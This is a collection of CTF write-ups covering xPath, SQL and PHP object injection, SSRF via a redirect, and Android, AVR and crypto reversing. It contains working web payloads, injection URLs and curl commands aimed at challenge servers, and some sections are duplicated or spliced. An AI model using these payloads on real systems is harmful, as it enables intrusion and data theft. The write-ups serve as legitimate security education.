- [AppSecCali 2015 - Marshalling Pickles](https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles)- [What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)- [Oracle Java Deserialization](https://www.integrigy.com/files/Integrigy%20Oracle%20Java%20Deserialization%20Vulnerabilities.pdf) |
The search field was prone to xPath blind injection.
correct syntax:```")] | /* [("a"="a /true")] | /* [("a"="b /false```
Data extracting:```")] | /* [(substring(name(/*[1]),1,1)="s")] | /* [(substring(name(/*[1]),2,1)="h")] | /* [(substring(name(/*[1]),3,1)="o")] | /* [(substring(name(/*[1]),4,1)="p```
DB name: Shop and you should go on till grab all CC information and buy the flag, then brute force on the passcode of VISA was the last step.
**For more information: [https://twitter.com/YShahinzadeh/](http://)** |
[write-up by mi0s]
**CTF:** PoliCTF 2017
**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))
**Task:** Pwnables / Status Box
**Points:** 120
# Challenge
> This Box memorizes a statuses sequence composed by a current status and all the previous ones.> It already contains a small sequence of statuses, but you can show only the current one.> You can set a new status, modify the current one or delete it: in this way the box goes back to the previous one in the sequence.> The box can keep track of maximum 200 statuses. It seems just to work fine, even though we didn't test it a lot...;
The hostname and the port of the box were given:
`nc statusbox.chall.polictf.it 31337`
# Analysis
Since we know nothing about the box, the first thing we do is connecting to it using netcat.
The following output is printed on the CLI:
> StatusBox started! This Box memorizes a statuses> sequence composed by a current status and all the previous ones.> It already contains a small sequence of statuses, but you can show> only the current one.> You can set a new status, modify the current one or delete it: in this way> the box goes back to the previous one in the sequence.> The box can keep track of maximum 200 statuses.> It seems just to work fine, even though we didn't test it a lot...> CURRENT STATUS:> This is the status set as default current status, change it!>>> Choose your action:>> 0 - Print the current status;>> 1 - Set a new current status;>> 2 - Delete the current status and go back to the previous one;>> 3 - Modify the current status.>> 4 - Exit (statuses will be lost.)
All the info we need is given in the header part:
* It already contains a small sequence of statuses, but you can only show the current one;
* You can set a new status, modify the current one or delete it: in this way the box goes back to the previous one in the sequence.
So, we can suppose that there is something before the first status. The problem is:
__how can we reach it?__
Also, we are restricted to only four meaningful actions: *print*, *set*, *delete* and *modify*.
In this scenario the restriction is good for us, we know exactly what we can do. We only have to find the correct sequence of actions.
# Fail to win
The straightforward approach is to delete all the statuses to reach the ones before the first. But when we try to delete the first one, the process loops in the same status without proceeding any further.
At this stage only two useful actions were left:
* set;
* modify.
Note that print does not modify the status.
Uhm...we start thinking about how to use them while re-reading the header:
> It seems just to work fine, even though we didn’t test it a lot…
Ok, probably one of them is buggy. We start checking the corner cases for an input string.
First, we try the modify action by replacing the current status with an empty string.
The box replies with:>> Your choice was: 3> Insert the new status, it will modify the current one:>> You set the current state to empty, so it was deleted.> Going back to the previous state.>> Choose your action:>> 0 - Print the current status;>> 1 - Set a new current status;>> 2 - Delete the current status and go back to the previous one;>> 3 - Modify the current status.>> 4 - Exit (statuses will be lost.)>> 0>> Your choice was: 0>> CURRENT STATUS:>> That's strange...>> Choose your action:>> 0 - Print the current status;>> 1 - Set a new current status;>> 2 - Delete the current status and go back to the previous one;>> 3 - Modify the current status.>> 4 - Exit (statuses will be lost.)>> 3>> Your choice was: 3>> Insert the new status, it will modify the current one:>> You set the current state to empty, so it was deleted.>> Going back to the previous state.>> Choose your action:>> 0 - Print the current status;>> 1 - Set a new current status;>> 2 - Delete the current status and go back to the previous one;>> 3 - Modify the current status.>> 4 - Exit (statuses will be lost.)>> 0>> Your choice was: 0>> CURRENT STATUS:>> Are you sure of what you're doing?>> ...
It works!
When we modify the current status with an empty string the process deletes the current status and give us access to the previous status of the sequence.Unfortunately, the flag isn't at the -1 status. However, the process give us some hints that make us think that the flag could be hidden deeper in the sequence.Ok, hoping to find the flag by manually iterating the sequence is a PITA... not an option!
So, we automate the process with a shell oneliner which iterates the sequence, generating a log of the actions and inspecting it for the flag:
```bashcat <(for i in $(seq 0 99); do echo "0"; sleep 2s; echo "3"; sleep 2s; echo ""; done;) | nc statusbox.chall.polictf.it 31337 | tee status_box.log && cat status_box.log | grep -E "flag{|FLAG{"```
Since we do not know how far we have to search, we cat a subshell which iterates over 100 statuses for the first try. The sleep command is a dirty trick used to wait between two actions so that the process will correctly recognize them. Then we tee stdout because we may want to check from time to time if the search is going well while generating the log file. Since the flag format was given in the polictf instruction section, we can easily grep it from the generated log file. The search will take about 100*4s = 400s.
The resulting flag is: `flag{g00d_0ld_m1ss1ng_ch3cks!}`. |
# HanoiPub WriteupSome Googling tells us that this file is Intel HEX format. Convert it to binary format by objcopy and we can load it by IDA. As its architectrue is AVR, its code address space and its data address space is separated and its way to load/store data is so strange. So it seems that IDA can't deal with it properly(But I think it's at least better than using objdump).
After hours of reading documentation of avr and analyzing the program, I got the following deduction: (The address showed in IDA is different from raw file)
* sub_87 is used to print bytes, given str pointer and length;* sub_4c5 is "printf"* sub_2e9 is "main"* the data section is loaded by lpm instructions in _RESET* the strings about "%d bottles of beer" have nothing to do with the flag* The fun part is around 0x425-0x426 ---- the eor instructions
In fact, there is an int16 array ended with 0x1(not included). For each word, it tries to minus it with index+1 and ++tmp(init as 1) again and again, until the word is decreased to 0(namely, tmp = array[i] / (i+1)). Then tmp -= 0x30, and xor it with the corresponding byte in "To beer or not to beer, that is the question". I try to find out the result and it appears to be flag :) |
A lot easier than the amount of solves would tell you.
1. You're given a mjpg file. This is a "Motion JPG" file, which is just a bunch of JPG files put together and streamed at you.2. Just run some sort of MJPG splitter (`ffmpeg -i mjpegvideo.avi -vcodec copy frame%d.jpg`)3. Quickly analyze all the split out JPG files (`file *.jpg`; `jpeginfo *.jpg`; `<your-fave-jpg-analyzer-tool-there's-a-billion> *.jpg`.4. Hopefully one of those tools, tells you in some way that the JPEG end tag (FFD9) is offset 1 byte less than the entire file size (suspiious!)5. There's on the order of 10% of the split out JPG files w/ a wrong file size. Write a quick script to just take the last byte (the extra byte) of those files, and concatenate htem together.6. End up with something like "lorem ipsum have a flag{asdadasdasda}".7. ???8. Collect flag
@eugenekolohttps://eugenekolo.com |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>write-ups</span></span></span><span>/</span><span><span>Meepwn 2017</span></span><span>/</span>bs<span>/</span> </div> </div>
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http://139.59.239.133/?id=if((select sum(case when(ip='0.0.0.2') then 1 else 0 end) from logs) = 1, 1, 2) #
Simultaneously, use Tamper Data or something like that to intercept the datagram and add `X-Forwarded-For: 0.0.0.2` and then submit it.
: ) |
>I hack your brain! [hack.py](./hack.py)
Looking at [hack.py](./hack.py),```from Crypto.Util.number import *from hashlib import md5
flag = "XXX"assert len(flag) == 14pad = bytes_to_long(md5(flag).digest())
hack = 0
for char in flag: hack+= pad hack*= ord(char) print hack#hack = 64364485357060434848865708402537097493512746702748009007197338675#flag_to_submit = "MeePwnCTF{" + flag + "}"```We first try to factor the `hack` number: http://factordb.com/index.php?query=64364485357060434848865708402537097493512746702748009007197338675, so we see that it is factorable. The reason why we do this is because we know that `hack` is multiplied by the last character of the flag before its value is `64364485357060434848865708402537097493512746702748009007197338675`, so the last character of the flag is one of the factors of `64364485357060434848865708402537097493512746702748009007197338675`.
Assuming that the flag is printable ASCII characters, we don't have to search all 255 possible chars, just letters (upper and lowercase), numbers, and punctuation. Looking at the divisors of `hack`, we conclude that the possible values of our flag is `[105, 107, 75, 35, 45, 63]` or `['i', 'k', 'K', '#', '-', '?']`. Now that we know what the last character of our flag could be, we still need to figure out `pad` in order to guess the other values of the characters of our flag.
Let's first rewrite `hack`. When the for loop runs for the first time, `hack = ord(flag_1) * pad`, here `flag_1` just denotes the 1st character of the flag. The second time `hack = ord(flag_2) * (hack + pad) = ord(flag_2) * (ord(flag_1 * pad) + pad)`. The third time `hack = ord(flag_3) * (hack + pad) = ord(flag_3) * (ord(flag_2) * (ord(flag_1 * pad) + pad)) + pad)`. This continues 14 times, however note that we can factor out `pad`, meaning that `pad` also has to be a factor of `64364485357060434848865708402537097493512746702748009007197338675`!. We know that md5 is 128 bits, or 16 bytes, so that means that `pad` will have a maximum value of `0xffffffffffffffffffffffffffffffff`, so we just have to check the divisors of `64364485357060434848865708402537097493512746702748009007197338675` that are less than or equal to `0xffffffffffffffffffffffffffffffff`.
So the plan is to loop through each candidate of `pad` and then get the possible values for the other characters of our flag, and then check if the 14-length string is our flag. We can check by just using the same `hack.py`, just modifying the last line to check if `hack == 64364485357060434848865708402537097493512746702748009007197338675`
The final code is in [solution.py](./solution.py). Things to note: I first try the last character of the flag as `63` or `?` because it seems the most logical (I got lucky that it was the right one). If it wasn't right, then I'd have to change my code slightly to replace the occurences of `63` with my new guess for the last char. Also `factorization` doesn't contain all of the factors of `64364485357060434848865708402537097493512746702748009007197338675`, rather the factors of `64364485357060434848865708402537097493512746702748009007197338675//63`. I took out `63` from the factorization as `pad` can't take on any values that are divisible by 63, then that would mean that `64364485357060434848865708402537097493512746702748009007197338675` is divisible by `63^2` (which it isn't).```import itertoolsfrom operator import mulimport copyfrom Crypto.Util.number import *from hashlib import md5
factorization = [(5, 2), (107, 1), (487, 1), (607, 1), (28429, 1), (29287, 1), (420577267963, 1), (3680317203978923, 1), (1002528655290265069, 1)]values = [[(factor**e) for e in range(exp+1)] for (factor, exp) in factorization]l = [];printable = [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 92, 93, 94, 95, 96, 123, 124, 125, 126, 32]
def getM(s, pr): m = []; for c in pr: if s % c == 0: m.append(c); return m;
def hack(fla): assert len(fla) == 14 pad = bytes_to_long(md5(fla).digest())
hack = 0
for char in fla: hack+= pad hack*= ord(char)
return hack == 64364485357060434848865708402537097493512746702748009007197338675
#print getM(64364485357060434848865708402537097493512746702748009007197338675, printable);
for xs in itertools.product(*values): #xs is a divisor of our number sss = reduce(mul, xs, 1); if ((sss <= 0xffffffffffffffffffffffffffffffff)): news = 64364485357060434848865708402537097493512746702748009007197338675//63 - sss mods = getM(news, printable); if len(mods) > 0: temps = copy.copy(news); for mmm in mods: news = news//mmm - sss; mods2 = getM(news, printable); if len(mods2) > 0: temp2s = copy.copy(news); for mmm2 in mods2: news = news//mmm2 - sss; mods3 = getM(news, printable); if len(mods3) > 0: temp3s = copy.copy(news); for mmm3 in mods3: news = news//mmm3 - sss; mods4 = getM(news, printable); if len(mods4) > 0: temp4s = copy.copy(news); for mmm4 in mods4: news = news//mmm4 - sss; mods5 = getM(news, printable); if len(mods5) > 0: temp5s = copy.copy(news); for mmm5 in mods5: news = news//mmm5 - sss; mods6 = getM(news, printable); if len(mods6) > 0: temp6s = copy.copy(news); for mmm6 in mods6: news = news//mmm6 - sss; mods7 = getM(news, printable); if len(mods7) > 0: temp7s = copy.copy(news); for mmm7 in mods7: news = news//mmm7 - sss; mods8 = getM(news, printable); if len(mods8) > 0: temp8s = copy.copy(news); for mmm8 in mods8: news = news//mmm8 - sss; mods9 = getM(news, printable); if len(mods9) > 0: temp9s = copy.copy(news); for mmm9 in mods9: news = news//mmm9 - sss; mods10 = getM(news, printable); if len(mods10) > 0: temp10s = copy.copy(news); for mmm10 in mods10: news = news//mmm10 - sss; mods11 = getM(news, printable); if len(mods11) > 0: temp11s = copy.copy(news); for mmm11 in mods11: news = news//mmm11 - sss; mods12 = getM(news, printable); if len(mods12) > 0: temp12s = copy.copy(news); for mmm12 in mods12: news = news//mmm12 - sss; mods13 = getM(news, printable); if len(mods13) > 0: temp13s = copy.copy(news); for mmm13 in mods13: news = news//mmm13 - sss; mods14 = getM(news, printable); flagg = chr(63) + chr(mmm) + chr(mmm2) + chr(mmm3) + chr(mmm4) + chr(mmm5) + chr(mmm6) + chr(mmm7) + chr(mmm8) + chr(mmm9) + chr(mmm10) + chr(mmm11) + chr(mmm12) + chr(mmm13); if hack(flagg[::-1]): print 'FOUND IT:', flagg[::-1], sss; news = temp13s; news = temp12s; news = temp11s; news = temp10s; news = temp9s; news = temp8s; news = temp7s; news = temp6s; news = temp5s; news = temp4s; news = temp3s; news = temp2s; news = temps;```After running the code for a couple of minutes we get `FOUND IT: d0y0ul1keM@TH? 181900073144279366933091092045656603525`. Our flag is `MeePwnCTF{d0y0ul1keM@TH?}`. |
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|
# TSULOTT
**100 pts**
> Who Wants to Be a Millionaire? Join My LOTT and Win JACKPOTTTT!!! Remote: [128.199.190.23:8001](http://128.199.190.23:8001)
---
# Writeups
## Think simple- Lets check the source code from the web.- Here we can see a comment, ```HTML ``` mmmm... why not [128.199.190.23:8001?is_debug=1](http://128.199.190.23:8001?is_debug=1).- Awesome! now we can read the server code, it is written in PHP.
```php<body> <style> input[type=text] { width: 40%; padding: 12px 20px; margin: 8px 0; box-sizing: border-box; border: 2px solid red; background-color: #ebfff8; border-radius: 4px; }
button[type=submit] { width: 10%; background-color: #F94848; color: white; padding: 14px 20px; margin: 8px 0; border: none; border-radius: 4px; cursor: pointer; }
button[type=submit]:hover { background-color: #45a049; }
body { background-image: url("money.jpg"); } </style>
jackpot = rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99); if($obj->enter === $obj->jackpot) { echo "<center><font color='white'>CONGRATULATION! You Won JACKPOT PriZe !!! </font></center>". "<center><font color='white' size='20'>".$obj->jackpot."</font></center>"; echo "<center><font color='green' size='25'>".$flag."</font></center>"; echo "<center></center>";
} else { echo "<center><font color='white'>Wrong! True Six Numbers Are: </font></center>". "<center><font color='white' size='25'>".$obj->jackpot."</font></center>"; } } else { echo "<center><font color='white'>- Something wrong, do not hack us please! -</font></center>"; } } else { echo ""; } ?> <center> <h2><font color='yellow' size=8>-- TSU</font><font color='red' size=8>LOTT --</font></h2> <font color='white'>Input your code to win jackpot!</font> <form> <input type="text" name="input" /> <button type="submit" name="btn-submit" value="go">send</button> </form> </center> enter=$_GET['gen_code']; $code=base64_encode(serialize($temp)); echo '<center><font color=\'white\'>Here is your code, please use it to Lott: '.$code.'</font></center>'; } ?> <center> <font color='white'>-----------------------------------------------------------------------------------------------------------------------------</font> <h3><font color='white'>Take code</font></h3> <font color='white'>Pick your six numbers (Ex: 15 02 94 11 88 76)</font> <form> <input type="text" name="gen_code" maxlength="17" /> <button type="submit" name="btn-submit" value="go">send</button> </form> </center> </body> ```
## InjectionThe flag is rendered after this condition:```phpif($obj->enter === $obj->jackpot)```Reading the PHP code we can notice the vulnerability. PHP Object Injection.Get the input and try to unserialize it as an Object.```php$obj = unserialize(base64_decode($_GET['input']));```We need the enter value and the jackpot value of the object to be the same, but we will never manage to get it right. The object is serialized and then the jackpot attribute is setted as random.```php$obj = unserialize(base64_decode($_GET['input'])); if($obj) { $obj->jackpot = rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99); if($obj->enter === $obj->jackpot);...}```
Our only chance is generate a completely random object and encoded with base64.- [https://www.tools4noobs.com/online_php_functions/base64_encode/](https://www.tools4noobs.com/online_php_functions/base64_encode/)- Generate a random object, in this case an object Test who have 2 attributes (jackpot and enter) both of them NULL ```json INPUT: O:4:"Test":2:{s:7:"jackpot";N;s:5:"enter";N;} ``` ```json OUTPUT: "Tzo0OiJUZXN0IjoyOntzOjc6ImphY2twb3QiO047czo1OiJlbnRlciI7Tjt9" ``` ## Win the lotteryPaste the output into the form and voilà:### MeePwnCTF{__OMG!!!__Y0u_Are_Milli0naire_N0ww!!___}
<font color='white'>Input your code to win jackpot!</font>
<form> <input type="text" name="input" />
<button type="submit" name="btn-submit" value="go">send</button> </form> </center> enter=$_GET['gen_code']; $code=base64_encode(serialize($temp)); echo '<center><font color=\'white\'>Here is your code, please use it to Lott: '.$code.'</font></center>'; } ?> <center> <font color='white'>-----------------------------------------------------------------------------------------------------------------------------</font> <h3><font color='white'>Take code</font></h3>
<font color='white'>Pick your six numbers (Ex: 15 02 94 11 88 76)</font>
<form> <input type="text" name="gen_code" maxlength="17" />
<button type="submit" name="btn-submit" value="go">send</button> </form> </center> </body> ```
## InjectionThe flag is rendered after this condition:```phpif($obj->enter === $obj->jackpot)```Reading the PHP code we can notice the vulnerability. PHP Object Injection.Get the input and try to unserialize it as an Object.```php$obj = unserialize(base64_decode($_GET['input']));```We need the enter value and the jackpot value of the object to be the same, but we will never manage to get it right. The object is serialized and then the jackpot attribute is setted as random.```php$obj = unserialize(base64_decode($_GET['input'])); if($obj) { $obj->jackpot = rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99); if($obj->enter === $obj->jackpot);...}```
Our only chance is generate a completely random object and encoded with base64.- [https://www.tools4noobs.com/online_php_functions/base64_encode/](https://www.tools4noobs.com/online_php_functions/base64_encode/)- Generate a random object, in this case an object Test who have 2 attributes (jackpot and enter) both of them NULL ```json INPUT: O:4:"Test":2:{s:7:"jackpot";N;s:5:"enter";N;} ``` ```json OUTPUT: "Tzo0OiJUZXN0IjoyOntzOjc6ImphY2twb3QiO047czo1OiJlbnRlciI7Tjt9" ``` ## Win the lotteryPaste the output into the form and voilà:### MeePwnCTF{__OMG!!!__Y0u_Are_Milli0naire_N0ww!!___}
 |
Again id has to be 2 in the first query and 1 in the second and bypass this:```if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$id))```We dont need the second injection ;)
?id=case when @wurst is null then @wurst:=2 else @wurst:=@wurst-1 end
`/c541c6ed5e28b8762c4383a8238e6f5632cc7df6da8ce9db7a1aa706d1e5c387/?id=case+when+@wurst+is+null+then+@wurst:=2+else+@wurst:=@wurst-1+end`
> MeePwnCTF{_I_g1ve__uPPPPPPPP_see_you_next_Year}
kunte_ |
### Challenge DescriptionIn this challenge you get a simple form with the 3 following fields:* File URL* DNS Server* DNS Server Port
And a hint that the flag is at http://127.0.0.1/flag.When you submit the form it serves the requested file for you as a proxy.
### Failed Attempts* If you try to paste the URL of the flag there, it gets rejected for being an "Internal IP".* If you try to use any other protocol but HTTP in the URL it gets rejected as well for "not HTTP".* Next thing I tried was using some url of the form http://**somehost**/flag, putting a DNS server that is under my control in the form and having it resolve **somehost** to 127.0.0.1. That also got rejected for being "Internal IP".
### What workedI put a url that was under my control in the *file* field and had it simply redirect to http://127.0.0.1/flag, The got me the flag.For the redirect I used a simple text file containing:```HTTP/1.1 302 FoundLocation: http://127.0.0.1/flag ```(The 2 line endings above were in the file and are important to terminate the request.)I served the file with `ncat -l port_number < redirect.txt`. I wonder if the DNS server fields were put to confuse or is there another solution that uses them. |
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# Br0kenMySQL
**100 pts**
> [BabeTrick](http://139.59.239.133/?debug=%F0%9F%95%B5)
---
# Writeups```php<title>Br0kenMySQL</title><h1>Br0kenMySQL
Br0kenMySQL
</h1>
1```
## Reading the codeFirst of all, search the flag. We can get the flag only if you login as guest and admin at the same time.```phpif($username === 'guest'){ ... if($username === 'admin'){ ... die(FLAG); } ...}```There exist 2 parameters we could use: ***$_GET['id']*** ***@$_SERVER['HTTP_X_FORWARDED_FOR']***. The header is also a paramete we can set. After a few seconds of try and error we get the id of the user guest (2) and admin (1). The header is store in the table logs.```phpmysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");```## Testing our thoughtsIn the table ***logs*** looks like there is a value named **ip** and we can confirm it with a simple sqlmap search. We test if we can hack the header as well.```bash$ sqlmap --dbms -u "http://139.59.239.133/?id=2 -T logs"$ curl --header "X-Forwarded-For: 'we can hack it'" "http://139.59.239.133/?id=2"```## SQL injection1. We need the username with id 2 ***(guest)***2. We insert the variable "@$_SERVER['HTTP_X_FORWARDED_FOR']" in the table **logs**3. We need the username with id 1 ***(admin)***
The full sql looks like this (with the ip as a random number):```mysqlSELECT username FROM users WHERE id = 2 or id=(SELECT 1 FROM logs WHERE ip=5641314)```## Our friend curlAs soon as the random number already exsists in the table **logs** the sql will return the first id, in this case ***admin (id=1)*** user. We need to be sure that **@$_SERVER['HTTP_X_FORWARDED_FOR']** is never used in the table. A random number will do the trick.```bash$ curl --header "X-Forwarded-For: 5641314" "http://139.59.239.133/?id=2%20or%20id=(SELECT%201%20FROM%20logs%20WHERE%20ip=5641314)"``````html<title>Br0kenMySQL</title><h1>Br0kenMySQLstring(8) "86574965"What ???????Login as guest&admin at the same time ?Seems our code is broken, here is your bountyMeePwnCTF{_b4by_tr1ck_fixed}```### MeePwnCTF{_b4by_tr1ck_fixed}
Br0kenMySQL |
# Battleships (reverse, ppc, 872p)
> A perfect candidate should be a strong leader, excellent negotiator and outstanding commander. Among his qualities must be strategic thinking and battle skills.Campaign office reports that large naval exercise will take place in the neighbouring city where anyone could try himself as an admiral and fight against famous admiral Odin.This naval exercise is a perfect chance to show the superiority of our candidate over the others. We must make provision for the victory of the leader who would lead our nation to a better future. However, your team had to face unexpected difficulties – your vessels look like they are from Middle Ages while the vessels of your enemy are state-of-the-art fire ships that DESTROYS EVERYTHING AROUND. After this, it is not a surprise that the radar in your command center is not working partially and targeting system is messed up. And what is more – you suspect that your team’s first assistance is Odin’s spy…> All the indications are that this exercise is organized by your rivals in order to tar your candidate’s reputation. Cheer up! Victory in such an uphill battle will show the strength and genius of your candidate – go for it!
> battleships
> nc 82.202.212.28:1337
In this task we were given a binary, which turns out to be a command line client for playing battleshipsgame with a server (hardcoded in the binary to localhost, but we patched it to use supplied IP).
The game is pretty normal: first you set your ships' positions on a 10x10 board (4 single-tile ones, 3 double, 2 tripleand 1 four-tile vessel). Then, after completing a simple proof of work, the game starts and you can guess wherecomputer's ships are.
After writing a simple Python script intrerfacing with the binary, using simple strategies (guessing randomly or sequentially, i.e. a1, a2, a3...), we found out the server has only single-tiled ships - or at least we didn'tsink any bigger ones in dozens of games. Still, it didn't seem we could win the game just like that, it would be too simple.
After disassembling and reverse engineering the binary, we found out the client communicates with the server usingcustom protocol. All messages are encrypted using RC4, but we know the key as it's sent in plaintext on the wire.Apart from the encryption part, the protocol is quite simple - you can send position which you want to target asbyte `x*16+y` and server responds with hit or miss and other, less relevant data. We implemented the protocol inPython and played a lot more of games. After collecting a nice statistical sample of hundreds of games, we noticed twopatterns in hit positions.
First, enemy ships never touched each other, even though our ships were allowed to be placed in that way. In the hindsight, this was hinted in the task description (that enemy vessels destroy everything around). We implemented thatimprovement in the code (so that we never try to shoot near sunk ships), but this still wasn't enough to win the game.
The second observation we made was that all the ships we sunk were in the left 7 columns of the board. Although weoften shot the rightmost columns too, they never resulted in successful hit. After reading the description again,we deduced this might be because of `our targeting system being messed up`. In other words, our board view was stretchedin the X direction. If that was the case, maybe the Y axis was stretched too? Indeed, when we allowed our scriptto shoot on Y=11, there were some hits.
In the end, we changed the board size to 7x14 (notice `7*14 == 98`, remarkably close to 100), which allowed us towin the game after a couple of tries. |
# Decrypt the undecryptable (reverse, ppc, 724p)
> Oh noes! It looks like we've lost decryption keys to our super-secret archive that contains all the blackmail material we've accumulated over the years!> Luckly, the encryption system was built with the government money by the lowest bidder, so maybe it contains some flaws.
> decrypt_the_undecryptable.tar
In this task we were given a randomish BMP picture and a binary for en-/de-crypting.
I didn't even really look at the binary - one quick glance at the image was enough to see distinct repetition patterns.This very likely meant it was encrypted using some block cipher in ECB mode or, alternatively, xored using short repeatingkey. I quickly found an offset containing the repeating part, produced a quick and dirty Python script to xorthe whole image with that 128-byte long block and save the result. The final image was not perfect, but good enough to beable to read the message. |
# Fireplace (reverse, ppc, 763p)
> As it is in love and war, all is fair during the elections, especially when it comes to an opportunity to get rid of a candidate who is three points ahead of you. Your secret agent in this candidate’s campaign office informed you of some secret documents which prove that your rival is guilty of bribery. Unfortunately, one of his assistants noticed these documents and threw it into the fireplace before leaving the office, but your agent managed to damp down the fire and grab the pieces. Restore the document and help you candidate to win!
> fireplace.tar
In this task we were given a binary and a random-looking BMP picture. The binary accepted a single command line argument - filename. When given any BMP picture, it would encrypt it somehow and overwrite the original picture.
Reverse engineering the binary showed it generates an internal square picture using Windows standard `rand` functionfor pixel values. The input image, when interpreted as a matrix of 24-bit RGB values is then multiplied (as inmatrix multiplication) with that square image and saved as the output. All operations are done modulo `2**24`.
So, we get the following equation: `Input * Square = Output`. Since we know the Output matrix (it's the random-looking BMP) and Square (Windows `rand` is deterministic - LCG), we can multiply both sides of the equationby modular inverse of Square matrix to get: `Input = Output * modinv(Square)`. We implemented this in mixtureof Python and Sage and retrieved the original image. |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeup</span></span></span><span>/</span><span><span>2017_secuinside</span></span><span>/</span>bug_manage_system<span>/</span> </div> </div>
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For a detailed writeup follow the link.
- RMI server running on target- We can inject code by passing custom objects to the remote method- Due to a bad security manager we can access the file system- Flag is stored in file `flag` |
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## PONG
* Level 1: So much pixels and fun!
* Level 2: Ready for another match? :P
## How to run
In the `deployed` folder, there is the pre-built challenge. Pong has a client as well :) You can find the client in the `pong_client` folder.
During the CTF, we deployed the executable `pong`, and you connected to it using the client, i.e., `./pong_client pong.chall.polictf.it 31337`. You could download all the servers’ binaries (the server and the two levels) and the client.
## How to build
See `build.sh`
## How to solve
*** SPOILER ALERT ***
You can find the exploits in the `solution` folder. |
## Level 3
>Hmmm... looks like you need to get past something...>>(Note: Levels 1-4 use the same application)>[ctfone5-8d51e73cf81c0391575de7b40226f19645777322.apk](./../challanges/ctfone5-8d51e73cf81c0391575de7b40226f19645777322.apk)
This is a small apk with just two classes 'MainActivity' app's entrypoint and 'CruelIntentions' an IntentService.
MainActivity sets the flag with ```java((TextView) MainActivity.this.findViewById(R.id.flagOutput)).setText(MainActivity.this.flag(((TextView) MainActivity.this.findViewById(R.id.s0)).getText().toString(), ((TextView) MainActivity.this.findViewById(R.id.s1)).getText().toString(), ((TextView) MainActivity.this.findViewById(R.id.s2)).getText().toString()));```There are the three inputs that we see in the above screenshot.
MainActivity.this.flag is a native function which is defined as```javapublic native String flag(String str, String str2, String str3);```
There is also one native function defined in 'CruelIntentions' named 'one' and it is invoked when we pass correct arguments to the Service. Lets switch to IDA and analyze it.
Well its a big function, took some time to break and here is short description of what it does:
* Open its own process and read the "TracerPid" which is non-zero if its ptraced ie debugged, kills itself it being debugged.* Checks for presence of 'su' binary and if so then kills itself.* It read a system property "mobsec.setme" and if not set then again kills itself.
Well we could bypass all by patching or setting appropriate values while debugging and then reach the point where it does something interesting in debugger but i asked myself what am i looking for in this method because this method doesn't seem to return anything.
So i followed path in graph view where it will satisfy all the conditions and reached here.
Doing some math, in python because maths is hard :D we get this
R0 = 0x5F53D58F + 0x5F53D58F = 0xbea7ab1eR1 = 0x7D670F2A + 0x7D670F2B = 0xface1e55R2 = 0x6D3D5D2F + 0x6D3D5D2F = 0xda7aba5e
Entering this into the three fields we get
Flag - cApwN{sPEaK_FrieNd_aNd_enteR!}
Author====Arun Kumar Shreevastava |
## Level 1
>Let's start you off with something easy to get you started.>>(Note: Levels 1-4 use the same application)>[ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk](./../challanges/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk)
After installing and starting the application we are greeted with this screen
Clicking 'LOAD_ASSET' it loads up some random images and the button name tells most of things i.e its loading those images from the assets folder.
Lets verify it by using any decompiler i used [jadx](https://github.com/skylot/jadx).
Navigating to TabFragment1 in package com.h1702ctf.ctfone we see```javathis.mButton = (Button) v.findViewById(R.id.lvl1button);this.mButton.setOnClickListener(new OnClickListener() { public void onClick(View v) { String input = TabFragment1.this.mInput.getText().toString(); if (input.isEmpty()) { input = "asset" + ((new Random().nextInt() % 10) + 1); } TabFragment1.this.loadDataFromAsset(input); }});```So it loads assets and displays it if input field is not empty, lets extract asset folder.
I used [apkstudio](https://github.com/vaibhavpandeyvpz/apkstudio) to decompile the apk into smali, which also extracts assets and resources as we will need it for later challanges, you can also use apktool.
In the asset folder we see one interesting file tHiS_iS_nOt_tHE_SeCrEt_lEveL_1_fiLE
Flag - cApwN{WELL_THAT_WAS_SUPER_EASY}
#### AuthorArun Kumar Shreevastava |
# WEB 150 - Follow Me
This challenge is a worldmap where you have to follow a hacker in random country.
To change the origin country of my request, i use the mozilla firefox add-on "AnonymoX" and saw that the message "you are in the wrong country (fr)" changed by "you are in wrong country (us)". So i tried to send a request by adding the header "X-Forwarded-For" and the ip address of a free proxy in the country where the hacker is.And that's worked !
So i wrote a  that take 3 commands in input : - country : print the country where the hacker is and the number of country before finding him - mv <@ip_proxy> : Add the "X-Forwarded-For" header with the IP specified. - restart : Some country don't have free proxy available so i had to restart by sending the GET parameter "restart=1"
Then i was able to send request to the website from any country in the world where a free proxy is available.So i looked for free proxy of the country that the website printed me et then got the flag at the 12th visited country.Below is the screenshot of the script running :
 |
## Level 6
>I can't think of anything creative... just try to solve this one :)>>[ctfone6-6118c10be480b994654a1f01cd322af2df2ceab6.apk](./../challanges/ctfone6-6118c10be480b994654a1f01cd322af2df2ceab6.apk)
Well this apk has just one class 'MainActivity' but there's lots going on in there.
```javadexWriter2.write(decrypt(getResources().getString(R.string.booper), getResources().getString(R.string.dooper), buf));
........
